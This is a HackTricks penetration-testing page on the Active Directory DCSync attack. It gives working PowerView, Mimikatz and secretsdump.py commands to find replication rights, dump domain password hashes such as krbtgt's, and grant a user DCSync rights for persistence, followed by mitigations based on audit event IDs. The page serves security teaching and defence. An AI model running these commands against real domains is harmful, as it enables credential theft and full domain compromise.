hacktricks/windows-hardening/active-directory-methodology/dcsync.md

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# DCSync
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![](<../../.gitbook/assets/image (9) (1) (2).png>)
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\
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## DCSync
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The **DCSync** permission implies having these permissions over the domain itself: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** and **Replicating Directory Changes In Filtered Set**.
**Important Notes about DCSync:**
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* The **DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information** using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
* By default only **Domain Admins, Enterprise Admins, Administrators, and Domain Controllers** groups have the required privileges.
* If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text
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### Enumeration
Check who has these permissions using `powerview`:
```bash
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')}
```
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### Exploit Locally
```bash
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
```
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### Exploit Remotely
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```bash
secretsdump.py -just-dc <user>:<password>@<ipaddress>
```
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### Persistence
If you are a domain admin, you can grant this permissions to any user with the help of `powerview`:
```bash
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
```
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Then, you can **check if the user was correctly assigned** the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field):
```bash
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
```
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### Mitigation
* Security Event ID 4662 (Audit Policy for object must be enabled) An operation was performed on an object
* Security Event ID 5136 (Audit Policy for object must be enabled) A directory service object was modified
* Security Event ID 4670 (Audit Policy for object must be enabled) Permissions on an object were changed
* AD ACL Scanner - Create and compare create reports of ACLs. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
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[**More information about DCSync in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync) [**More information about DCSync**](https://yojimbosecurity.ninja/dcsync/)
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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</details>
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